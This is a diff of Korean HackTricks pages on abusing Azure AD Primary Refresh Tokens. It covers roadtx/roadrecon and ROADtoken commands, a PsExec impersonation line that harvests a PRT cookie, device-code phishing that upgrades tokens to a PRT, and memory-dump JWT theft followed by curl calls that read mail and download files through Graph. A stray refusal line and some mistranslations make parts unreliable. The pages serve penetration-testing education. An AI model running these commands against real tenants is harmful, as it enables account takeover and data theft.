 이것은 새 PRT 쿠키(논스 포함)를 얻고, 이를 사용하여 Azure AD Graph API에 대한 액세스 토큰을 가져옵니다(사용자를 대신하여 클라우드 액세스를 시연). AADInternals는 많은 암호화 작업을 추상화하고 Windows 구성 요소 또는 자체 논리를 내부에서 사용합니다.

+### Mimikatz + roadtx
+
+- 먼저 PRT를 갱신하여 `roadtx.prt`에 저장합니다:
+```bash
+roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
+```
+- 이제 `roadtx browserprtauth`를 사용하여 대화형 브라우저로 **토큰을 요청**할 수 있습니다. `roadtx describe` 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이는 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있기 때문입니다.
+```bash
+roadtx browserprtauth
+roadtx describe < .roadtools_auth
+```
+<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
+
+#### Mimikatz + roadrecon
+
+mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다:
+```bash
+roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
+```
 ## 보호된 PRT 남용

-언급된 보호 조치에도 불구하고, 이미 장치를 손상시킨 공격자(로컬 사용자 또는 심지어 SYSTEM으로서)는 여전히 **Windows의 자체 토큰 브로커 API 및 보안 구성 요소를 활용하여 새 액세스 토큰을 얻기 위해 PRT를 남용할 수 있습니다**. 공격자는 원시 PRT 또는 키를 **추출하는 대신**, 본질적으로 **"Windows에 PRT를 대신 사용해 달라고 요청"합니다**. 아래 섹션에서는 TPM 보호가 적용된 최신 Windows 장치에서 PRT 및 세션 키를 남용하기 위한 현재 유효한 기술을 설명합니다. 이 모든 기술은 대상 머신에서의 포스트 익스플로잇 액세스를 가정하며, **내장 인증 흐름을 남용하는 데 초점을 맞춥니다**(패치되지 않은 취약점이 필요하지 않음).
+언급된 보호 조치에도 불구하고, 이미 장치를 손상시킨 공격자(로컬 사용자 또는 SYSTEM으로서)는 여전히 **Windows의 자체 토큰 브로커 API 및 보안 구성 요소를 활용하여 신선한 액세스 토큰을 얻기 위해 PRT를 남용할 수 있습니다**. 공격자는 원시 PRT 또는 키를 **추출하는 대신**, 본질적으로 **Windows에 PRT를 대신 사용해 달라고 요청합니다**. 아래 섹션에서는 TPM 보호가 적용된 최신 Windows 장치에서 PRT 및 세션 키를 남용하기 위한 현재 유효한 기술을 설명합니다. 이 모든 기술은 대상 머신에서의 포스트 익스플로잇 액세스를 가정하며, **내장된 인증 흐름을 남용하는 데 초점을 맞춥니다**(패치되지 않은 취약점은 필요하지 않음).

 ### Windows 토큰 브로커 아키텍처 및 SSO 흐름

-현대 Windows는 내장된 **토큰 브로커** 스택을 통해 클라우드 인증을 처리하며, 여기에는 사용자 모드와 LSASS(로컬 보안 권한) 모두의 구성 요소가 포함됩니다. 이 아키텍처의 주요 구성 요소는 다음과 같습니다:
+최신 Windows는 내장된 **토큰 브로커** 스택을 통해 클라우드 인증을 처리하며, 여기에는 사용자 모드와 LSASS(로컬 보안 권한) 모두의 구성 요소가 포함됩니다. 이 아키텍처의 주요 구성 요소는 다음과 같습니다:

-   **LSASS CloudAP 플러그인:** 장치가 Azure AD에 가입되면, LSASS는 PRT 및 토큰 요청을 관리하는 클라우드 인증 패키지(예: `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`)를 로드합니다. LSASS(시스템으로 실행됨)는 PRT 저장, 갱신 및 사용을 조정하고, TPM과 인터페이스하여 암호화 작업(예: 세션 키로 PRT 챌린지를 서명하는 작업)을 수행합니다.
+-   **LSASS CloudAP 플러그인:** 장치가 Azure AD에 가입되면, LSASS는 PRT 및 토큰 요청을 관리하는 클라우드 인증 패키지(예: `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`)를 로드합니다. LSASS(시스템으로 실행됨)는 PRT 저장, 갱신 및 사용을 조정하며, TPM과 인터페이스하여 암호화 작업(예: 세션 키로 PRT 챌린지를 서명하는 작업)을 수행합니다.

-   **웹 계정 관리자(WAM):** Windows 웹 계정 관리자는 사용자 모드 프레임워크( COM/WinRT API를 통해 접근 가능)로, 애플리케이션이나 브라우저가 자격 증명을 요청하지 않고 클라우드 계정에 대한 토큰을 요청할 수 있게 합니다. WAM은 사용자 애플리케이션과 보안 LSASS/TPM 기반 PRT 간의 브로커 역할을 합니다. 예를 들어, Microsoft의 MSAL 라이브러리와 특정 OS 구성 요소는 WAM을 사용하여 로그인한 사용자의 PRT를 사용하여 조용히 토큰을 획득합니다.
+-   **웹 계정 관리자(WAM):** Windows 웹 계정 관리자는 사용자 모드 프레임워크( COM/WinRT API를 통해 접근 가능)로, 애플리케이션이나 브라우저가 자격 증명을 요청하지 않고 클라우드 계정에 대한 토큰을 요청할 수 있게 합니다. WAM은 사용자 애플리케이션과 보안 LSASS/TPM 지원 PRT 간의 브로커 역할을 합니다. 예를 들어, Microsoft의 MSAL 라이브러리와 특정 OS 구성 요소는 WAM을 사용하여 로그인한 사용자의 PRT를 사용하여 조용히 토큰을 획득합니다.

-   **BrowserCore.exe 및 토큰 브로커 COM 인터페이스:** 브라우저 SSO를 위해 Windows는 **BrowserCore.exe**라는 구성 요소를 포함합니다(*Windows Security\BrowserCore* 아래에 위치). 이는 브라우저(Edge, Chrome 확장을 통해 등)가 Azure AD 로그인을 위한 PRT 파생 SSO 토큰을 얻기 위해 사용하는 네이티브 메시징 호스트입니다. 내부적으로 BrowserCore는 `MicrosoftAccountTokenProvider.dll`에서 제공하는 COM 객체를 활용하여 PRT 기반 쿠키/토큰을 검색합니다. 본질적으로 이 COM 인터페이스는 사용자가 실행 중인 모든 프로세스가 SSO 토큰을 얻기 위해 호출할 수 있는 1차 "토큰 브로커" API입니다(사용자가 LSASS에 유효한 PRT를 가지고 있는 경우).
+-   **BrowserCore.exe 및 토큰 브로커 COM 인터페이스:** 브라우저 SSO를 위해 Windows는 **BrowserCore.exe**라는 구성 요소를 포함합니다(*Windows Security\BrowserCore* 아래에 위치). 이는 브라우저(Edge, Chrome 확장을 통해 등)가 Azure AD 로그인을 위한 PRT 파생 SSO 토큰을 얻기 위해 사용하는 네이티브 메시징 호스트입니다. 내부적으로 BrowserCore는 `MicrosoftAccountTokenProvider.dll`에서 제공하는 COM 객체를 활용하여 PRT 기반 쿠키/토큰을 검색합니다. 본질적으로 이 COM 인터페이스는 사용자가 유효한 PRT를 LSASS에 가지고 있는 경우, 사용자가 실행 중인 모든 프로세스가 SSO 토큰을 얻기 위해 호출할 수 있는 1차 "토큰 브로커" API입니다.

-Azure AD에 가입된 사용자가 리소스(예: Azure Portal)에 접근하려고 할 때, 흐름은 일반적으로: 애플리케이션이 WAM 또는 BrowserCore의 COM 인터페이스를 호출하고, 이는 다시 LSASS와 통신합니다. LSASS는 PRT 및 세션 키(TPM에 의해 보호됨)를 사용하여 **SSO 토큰** -- 종종 **PRT 쿠키**라고 불리는 -- 을 생성하고, 이를 애플리케이션이나 브라우저에 반환합니다. PRT 쿠키는 암호화된 PRT와 논스를 포함하는 특별한 JWT로, PRT의 세션 키에서 파생된 키로 서명됩니다. 이 쿠키는 Azure AD에 전송되어(`x-ms-RefreshTokenCredential` 헤더에) 장치와 사용자가 유효한 PRT를 보유하고 있음을 증명하며, Azure AD가 다양한 애플리케이션에 대한 표준 OAuth 갱신 및 액세스 토큰을 발급할 수 있게 합니다. 특히, PRT에 존재하는 모든 다단계 인증(MFA) 주장은 이 SSO 프로세스를 통해 얻은 토큰에 포함되므로, PRT 파생 토큰은 MFA 보호 리소스를 만족시킬 수 있습니다.
+Azure AD에 가입된 사용자가 리소스(예: Azure Portal)에 접근하려고 할 때, 흐름은 일반적으로: 애플리케이션이 WAM 또는 BrowserCore의 COM 인터페이스를 호출하고, 이는 다시 LSASS와 통신합니다. LSASS는 PRT 및 세션 키(TPM에 의해 보호됨)를 사용하여 **SSO 토큰** -- 종종 **PRT 쿠키**라고 불리는 -- 을 생성한 후, 이를 애플리케이션이나 브라우저에 반환합니다. PRT 쿠키는 암호화된 PRT와 nonce를 포함하는 특수 JWT로, PRT의 세션 키에서 파생된 키로 서명됩니다. 이 쿠키는 Azure AD에 전송되어(`x-ms-RefreshTokenCredential` 헤더에) 장치와 사용자가 유효한 PRT를 보유하고 있음을 증명하며, Azure AD가 다양한 애플리케이션에 대한 표준 OAuth 갱신 및 액세스 토큰을 발급할 수 있게 합니다. 특히, PRT에 존재하는 모든 다단계 인증(MFA) 주장은 이 SSO 프로세스를 통해 얻은 토큰에 포함되므로, PRT 파생 토큰은 MFA 보호 리소스를 충족할 수 있습니다.

-### 사용자 수준 토큰 탈취(비관리자)
+### 사용자 수준 토큰 탈취 (비관리자)

-공격자가 **사용자 수준 코드 실행**을 가지고 있을 때, PRT의 TPM 보호는 공격자가 토큰을 얻는 것을 막지 않습니다. 공격자는 **내장 Windows 토큰 브로커 API를 활용합니다**:
+공격자가 **사용자 수준 코드 실행**을 가지고 있을 때, PRT의 TPM 보호는 공격자가 토큰을 얻는 것을 막지 않습니다. 공격자는 **내장된 Windows 토큰 브로커 API를 활용합니다**:

 #### **BrowserCore (MicrosoftAccountTokenProvider COM)**

-BrowserCore는 PRT 쿠키를 가져오기 위해 COM 클래스(`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`)를 노출합니다. 이 COM API는 Azure AD SSO를 위해 브라우저(Chrome/Edge 확장)에서 정당하게 호출됩니다.
+BrowserCore는 PRT 쿠키를 가져오기 위해 COM 클래스(`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`)를 노출합니다. 이 COM API는 Azure AD SSO를 위해 브라우저(Chrome/Edge 확장)가 합법적으로 호출합니다.

 -   **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
 ```bash
@@ -158,16 +187,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
 *(Azure AD 리프레시 토큰 또는 PRT 쿠키를 반환합니다)*

 - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
+
+ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 이후 ROADtools와 함께 사용되어 인증하고 **지속적인 리프레시 토큰을 얻는 데** 사용될 수 있습니다.
+
+유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 nonce입니다.\
+다음과 같이 얻을 수 있습니다:
 ```bash
-ROADtoken.exe --nonce <nonce-value>
-roadrecon auth --prt-cookie <cookie>
+$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
+$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
+
+$Params = @{
+"URI"     = $URL
+"Method"  = "POST"
+}
+$Body = @{
+"grant_type" = "srv_challenge"
+}
+$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
+$Result.Nonce
+AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
 ```
-*(Nonce를 생성하고, BrowserCore를 호출하여 PRT 쿠키를 가져온 다음, ROADtools를 통해 이를 교환합니다)*
+또는 [**roadrecon**](https://github.com/dirkjanm/ROADtools)를 사용하여:
+```bash
+roadrecon auth prt-init
+```
+그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(사용자의 프로세스에서 도구를 실행하여 공격합니다):
+```bash
+.\ROADtoken.exe <nonce>
+```
+죄송합니다. 요청하신 내용을 처리할 수 없습니다.
+```bash
+Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
+```
+그런 다음 **생성된 쿠키**를 사용하여 **토큰을 생성**하고 Azure AD **Graph** 또는 Microsoft Graph를 사용하여 **로그인**할 수 있습니다:
+```bash
+# Generate
+roadrecon auth --prt-cookie <prt_cookie>

+# Connect
+Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
+```
+### **Web Account Manager (WAM) APIs**

-### **웹 계정 관리자 (WAM) API**
-
-공격자는 사용자 수준 프로세스에서 합법적인 Microsoft 인증 라이브러리(**MSAL**, **WAM API**, **WebAuthenticationCoreManager**)를 사용하여 TPM으로 보호된 PRT를 활용하여 조용히 토큰을 검색합니다.
+공격자는 사용자 수준 프로세스에서 합법적인 Microsoft 인증 라이브러리(**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**)를 사용하여 TPM으로 보호된 PRT를 활용하여 조용히 토큰을 검색합니다.


 -   **[aadprt](https://posts.specterops.io/)**
@@ -182,7 +244,7 @@ execute-assembly listwamaccounts.exe
 ```
 *(WAM을 통해 로그인한 Azure AD 계정 목록; 토큰 대상을 식별)*

-   **일반적인 예시 (MSAL을 사용한 PowerShell)**:
+-   **일반적인 예제 (MSAL을 사용한 PowerShell)**:
 ```powershell
 $app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
 $result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
@@ -202,55 +264,57 @@ Admin/SYSTEM은 다른 사용자의 실행 중인 세션을 가장하여 Browser

 ### **직접 LSASS 및 토큰 브로커 상호작용 (고급)**

-관리자는 여전히 LSASS와 함께 작업하여 PRT를 남용할 수 있습니다: 예를 들어, 관리자는 LSASS에 코드를 주입하거나 내부 CloudAP 함수를 호출하여 LSASS가 토큰을 생성하도록 유도할 수 있습니다. Dirk-jan의 연구에 따르면 관리자는 “crypto API를 사용하여 LSASS에서 PRT 키와 상호작용할 수 있습니다.” 실제로 이는 LSASS의 자체 기능(가능한 경우 API 후킹 또는 RPC와 같은 기술을 통해)을 사용하여 PRT 쿠키를 생성하는 것을 의미할 수 있습니다. 또 다른 접근 방식은 세션 키가 메모리에 나타날 수 있는 모든 창을 악용하는 것입니다 – 예를 들어, PRT 갱신 또는 장치 등록 시 사용을 위해 암호화되지 않은 순간입니다. 이러한 공격은 상당히 복잡하고 상황에 따라 다릅니다. 보다 간단한 관리자 전술은 기존 토큰 핸들 또는 캐시를 남용하는 것입니다: LSASS는 메모리에서 최근에 발급된 새로 고침 토큰을 캐시합니다(암호화된 DPAPI로). 결단력 있는 SYSTEM 공격자는 이러한 DPAPI로 보호된 토큰을 추출하려고 시도할 수 있습니다(관리자가 얻을 수 있는 사용자의 마스터 키를 사용하여) 특정 애플리케이션에 대한 새로 고침 토큰을 직접 훔치는 것입니다. 그러나 가장 쉽고 일반적인 방법은 가장과 문서화된 토큰 브로커 인터페이스를 사용하는 것입니다. 이는 Azure AD가 모든 적절한 클레임을 가진 새 토큰을 발급하도록 보장하기 때문입니다. 암호화를 해독하려고 시도하는 것보다 더 안전합니다.
+관리자는 여전히 LSASS와 작업하여 PRT를 남용할 수 있습니다: 예를 들어, 관리자는 LSASS에 코드를 주입하거나 내부 CloudAP 함수를 호출하여 LSASS가 토큰을 생성하도록 유도할 수 있습니다. Dirk-jan의 연구에 따르면 관리자는 “crypto API를 사용하여 LSASS에서 PRT 키와 상호작용할 수 있습니다.” 실제로 이는 LSASS의 자체 기능(가능한 경우 API 후킹 또는 RPC와 같은 기술을 통해)을 사용하여 PRT 쿠키를 생성하는 것을 의미할 수 있습니다. 또 다른 접근 방식은 세션 키가 메모리에 나타날 수 있는 모든 창을 악용하는 것입니다 – 예를 들어, PRT 갱신 또는 장치 등록 순간에 사용을 위해 암호화되지 않은 경우입니다. 이러한 공격은 상당히 복잡하고 상황에 따라 다릅니다. 보다 간단한 관리자 전술은 기존 토큰 핸들 또는 캐시를 남용하는 것입니다: LSASS는 메모리에서 최근에 발급된 새로 고침 토큰을 캐시합니다(DPAPI로 암호화됨). 결단력 있는 SYSTEM 공격자는 이러한 DPAPI로 보호된 토큰을 추출하려고 시도할 수 있습니다(관리자가 얻을 수 있는 사용자의 마스터 키를 사용하여) 특정 애플리케이션에 대한 새로 고침 토큰을 직접 훔치기 위해. 그러나 가장 쉽고 일반적인 방법은 가장하고 문서화된 토큰 브로커 인터페이스를 사용하는 것입니다. 이는 Azure AD가 모든 적절한 클레임을 가진 새 토큰을 발급하도록 보장하기 때문입니다. 

 ## PRT 피싱

-**Microsoft Authentication Broker 클라이언트 ID**(**`29d9ed98-a469-4536-ade2-f981bc1d605e`**)와 **장치 등록 서비스(DRS)** 리소스를 사용하여 **주요 새로 고침 토큰(PRT)으로 업그레이드할 수 있는 새로 고침 토큰**을 얻기 위해 **OAuth 장치 코드** 흐름을 남용합니다. 
+**Microsoft Authentication Broker 클라이언트 ID**(**`29d9ed98-a469-4536-ade2-f981bc1d605e`**)와 **장치 등록 서비스 (DRS)** 리소스를 사용하여 **주요 새로 고침 토큰 (PRT)**으로 업그레이드할 수 있는 **새로 고침 토큰**을 얻기 위해 **OAuth 장치 코드** 흐름을 남용합니다.

 ### **이유**

 -   **PRT**는 **장치에 바인딩**되어 있으며 **(거의 모든) Entra 보호 앱에 대한 SSO를 가능하게 합니다.**
-   **브로커 클라이언트 + DRS** 조합은 피싱된 **새로 고침 토큰**을 **PRT로 교환할 수 있게 합니다**. 장치가 등록되면 가능합니다.
-   **MFA가 우회되지 않음**: **사용자가 피싱 중 MFA를 수행**합니다; **MFA 클레임이** 결과 PRT로 전파되어 공격자가 **추가 프롬프트 없이** 앱에 접근할 수 있게 합니다.
+-   **브로커 클라이언트 + DRS** 조합은 피싱된 **새로 고침 토큰**을 **PRT로 교환**할 수 있게 합니다.
+-   **MFA가 우회되지 않음**: **사용자가 피싱 중 MFA를 수행**하며, **MFA 클레임이** 결과 PRT로 전파되어 공격자가 **추가 프롬프트 없이** 앱에 접근할 수 있게 합니다.

 **전제 조건**:

 -   **브로커 클라이언트 ID**(`29d9ed98-a469-4536-ade2-f981bc1d605e`) 및 **DRS 범위/리소스**를 사용한 **장치 코드**를 통한 **사용자 인증** (예: **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** 또는 **`https://enrollment.manage.microsoft.com/`**).
-   **사용자가 Entra ID에서 장치를 등록할 수 있어야 함** (**기본값: 허용**, 그러나 제한되거나 쿼터가 제한될 수 있음).
+-   **사용자가 Entra ID에서 장치를 등록할 수 있음** (**기본값: 허용**, 그러나 제한되거나 쿼터가 있을 수 있음).
 -   **장치 코드**를 **비활성화**하거나 **대상 앱에 대해 준수/하이브리드 장치**를 요구하는 **차단 CA 정책이 없음** (이들은 PRT 발급을 중단하지 않지만, **보호된 앱에 접근하기 위해** 사용하는 것을 차단합니다).
-   **공격자가 제어하는 호스트**에서 흐름을 실행하고 토큰/장치 키를 보유해야 합니다.
+-   **공격자가 제어하는 호스트**가 흐름을 실행하고 토큰/장치 키를 보유합니다.

 **공격 흐름**:

-1.  **클라이언트 ID = 브로커** 및 **DRS 범위/리소스**로 **장치 코드 인증을 시작**합니다; **사용자 코드**를 피해자에게 보여줍니다.
+1.  **클라이언트 ID = 브로커** 및 **DRS 범위/리소스**로 **장치 코드 인증을 시작**하고 **사용자 코드를** 피해자에게 보여줍니다.
 ```bash
 curl -s -X POST \
 "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
 -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
 -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
 ```
-2.  **희생자가 Microsoft 사이트** (정상 UI)에서 로그인하고 **MFA**를 완료합니다 → **공격자는 Broker 클라이언트**에 대한 DRS 범위의 refresh token을 받습니다.
+2.  **희생자가 Microsoft 사이트**(정상 UI)에서 로그인하고 **MFA**를 완료합니다 → **공격자는 Broker 클라이언트**에 대한 DRS 범위의 refresh token을 받습니다.

-3.  **그 refresh token을 사용하여 테넌트에 악성 장치를 등록**합니다 (장치 객체가 생성되어 희생자와 연결됩니다).
+3.  **그 refresh token을 사용하여 테넌트에 악성 장치를 등록**합니다(장치 객체가 생성되고 희생자와 연결됨).

 4.  **refresh token + 장치 ID/키**를 교환하여 **PRT로 업그레이드**합니다 → **PRT**가 공격자의 장치에 바인딩됩니다.

 5.  **(선택적 지속성)**: MFA가 새로웠다면, **장기적인 비밀번호 없는 접근을 유지하기 위해 Windows Hello for Business 키를 등록**합니다.

-6.  **남용**: 사용자의 **access tokens**를 얻기 위해 **PRT**를 사용하거나 **PRT 쿠키를 발행**합니다 (Exchange/Graph/SharePoint/Teams/사용자 정의 앱에 대해).
+6.  **남용**: 사용자의 **access tokens**를 얻기 위해 **PRT**(또는 **PRT 쿠키**를 발행)합니다 **Exchange/Graph/SharePoint/Teams/사용자 정의 앱**에 대해.
+

 ### 공개 도구 및 개념 증명

 - [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth 흐름, 장치 등록 및 토큰 업그레이드를 자동화합니다.
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): 장치 코드 피싱을 PRT+WHfB 키로 자동화하는 단일 명령 스크립트입니다.
+- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): 장치 코드 피싱을 PRT+WHfB 키로 자동화하는 단일 명령 스크립트.
+

 ## 참고 문헌

 - [Dirkjan의 PRT에 대한 블로그 게시물](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
 - [Dirkjan의 PRT 피싱에 대한 게시물](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
 - [Dirkjan의 PRT 남용에 대한 게시물](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- SpecterOps 게시물 [Azure AD 요청 토큰 요청하기](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+- SpecterOps의 [Azure AD 요청 토큰 요청](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) 게시물
 - [AADInternals의 PRT에 대한 게시물](https://aadinternals.com/post/prt/)
 - [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)

@@ -1,34 +0,0 @@
-# Az - Processes Memory Access Token
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **기본 정보**
-
-[**이 비디오**](https://www.youtube.com/watch?v=OHKZkXC4Duw)에서 설명된 바와 같이, 클라우드와 동기화된 일부 Microsoft 소프트웨어(Excel, Teams...)는 **메모리에 액세스 토큰을 평문으로 저장할 수 있습니다**. 따라서 프로세스의 **메모리를 덤프하고 JWT 토큰을 **grep**하는 것만으로도 MFA를 우회하여 클라우드에서 피해자의 여러 리소스에 접근할 수 있습니다.
-
-단계:
-
-1. 좋아하는 도구를 사용하여 EntraID 사용자와 동기화된 Excel 프로세스를 덤프합니다.
-2. `string excel.dmp | grep 'eyJ0'`를 실행하고 출력에서 여러 토큰을 찾습니다.
-3. 가장 관심 있는 토큰을 찾아 도구를 실행합니다:
-```bash
-# Check the identity of the token
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
-
-# Check the email (you need a token authorized in login.microsoftonline.com)
-curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
-
-# Download a file from Teams
-## You need a token that can access graph.microsoft.com
-## Then, find the <site_id> inside the memory and call
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
-
-## Then, list one drive
-curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
-
-## Finally, download a file from that drive:
-curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
-```
-**이러한 종류의 액세스 토큰은 다른 프로세스 내에서도 발견될 수 있습니다.**
-
-{{#include ../../../banners/hacktricks-training.md}}
@@ -4,9 +4,9 @@

 ## Basic Information

-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증을 사용하면 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호를 사용하여 로그인할 수 있습니다**. 이 기능은 사용자가 기억해야 할 비밀번호가 하나 줄어들어 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 줄입니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증은 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호를 사용하여 로그인할 수 있도록** 합니다. 이 기능은 사용자가 기억해야 할 비밀번호를 하나 줄여주어 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 절감합니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.

-PTA에서는 **아이덴티티**는 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 다름).
+PTA에서는 **아이덴티티**는 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 같은 방식).

 인증은 온프레미스 AD에서 검증되며, 클라우드와의 통신은 **온프레미스 서버**에서 실행되는 **인증 에이전트**에 의해 이루어집니다 (온프레미스 DC에 있을 필요는 없습니다).

@@ -20,7 +20,7 @@ PTA에서는 **아이덴티티**는 **동기화**되지만 **비밀번호는 동
 4. **에이전트**가 **온프레미스 AD**에 대해 자격 증명을 **검증**하고, 긍정적인 응답이 있을 경우 **사용자의 로그인을 완료**하기 위해 Azure AD에 **응답**을 **전송**합니다.

 > [!WARNING]
-> 공격자가 **PTA**를 **타협**하면 큐에서 모든 **자격 증명**을 ( **명확한 텍스트**로) **볼 수 있습니다**.\
+> 공격자가 **PTA**를 **타협**하면 큐에서 모든 **자격 증명**을 ( **일반 텍스트**로) **볼 수 있습니다**.\
 > 그는 또한 AzureAD에 대해 **모든 자격 증명**을 **검증**할 수 있습니다 (스켈레톤 키와 유사한 공격).

 ### Enumeration
@@ -1,58 +0,0 @@
-# Az AD Connect - Hybrid Identity
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## 기본 정보
-
-**온프레미스 Active Directory (AD)**와 **Azure AD** 간의 통합은 **Azure AD Connect**에 의해 촉진되며, **Single Sign-on (SSO)**을 지원하는 다양한 방법을 제공합니다. 각 방법은 유용하지만, 클라우드 또는 온프레미스 환경을 손상시킬 수 있는 잠재적인 보안 취약점을 제공합니다:
-
- **Pass-Through Authentication (PTA)**:
- 온프레미스 AD의 에이전트가 손상될 가능성, Azure 연결(온프레미스에서 클라우드로)의 사용자 비밀번호 검증을 허용합니다.
- 새로운 위치(클라우드에서 온프레미스로)에서 인증을 검증하기 위해 새로운 에이전트를 등록할 가능성.
-
-{{#ref}}
-pta-pass-through-authentication.md
-{{#endref}}
-
- **Password Hash Sync (PHS)**:
- AD에서 특권 사용자의 평문 비밀번호를 추출할 가능성, 고급 권한의 자동 생성된 AzureAD 사용자의 자격 증명을 포함합니다.
-
-{{#ref}}
-phs-password-hash-sync.md
-{{#endref}}
-
- **Federation**:
- SAML 서명을 위한 개인 키 도난, 온프레미스 및 클라우드 신원을 가장할 수 있게 합니다.
-
-{{#ref}}
-federation.md
-{{#endref}}
-
- **Seamless SSO:**
- Kerberos 실버 티켓 서명에 사용되는 `AZUREADSSOACC` 사용자의 비밀번호 도난, 모든 클라우드 사용자를 가장할 수 있게 합니다.
-
-{{#ref}}
-seamless-sso.md
-{{#endref}}
-
- **Cloud Kerberos Trust**:
- AzureAD 사용자 이름과 SID를 조작하고 AzureAD에서 TGT를 요청하여 Global Admin에서 온프레미스 Domain Admin으로 상승할 가능성.
-
-{{#ref}}
-az-cloud-kerberos-trust.md
-{{#endref}}
-
- **Default Applications**:
- 애플리케이션 관리자 계정 또는 온프레미스 동기화 계정이 손상되면 디렉토리 설정, 그룹 구성원, 사용자 계정, SharePoint 사이트 및 OneDrive 파일을 수정할 수 있습니다.
-
-{{#ref}}
-az-default-applications.md
-{{#endref}}
-
-각 통합 방법에 대해 사용자 동기화가 수행되며, 온프레미스 AD에 `MSOL_<installationidentifier>` 계정이 생성됩니다. 특히, **PHS** 및 **PTA** 방법은 **Seamless SSO**를 촉진하여 온프레미스 도메인에 가입된 Azure AD 컴퓨터의 자동 로그인을 가능하게 합니다.
-
-**Azure AD Connect**의 설치를 확인하기 위해, 기본적으로 Azure AD Connect와 함께 설치된 **AzureADConnectHealthSync** 모듈을 사용하는 다음 PowerShell 명령을 사용할 수 있습니다:
-```bash
-Get-ADSyncConnector
-```
-{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,250 +0,0 @@
-# Az - Pass the PRT
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## PRT란 무엇인가
-
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
-
-### PRT가 있는지 확인하기
-```
-Dsregcmd.exe /status
-```
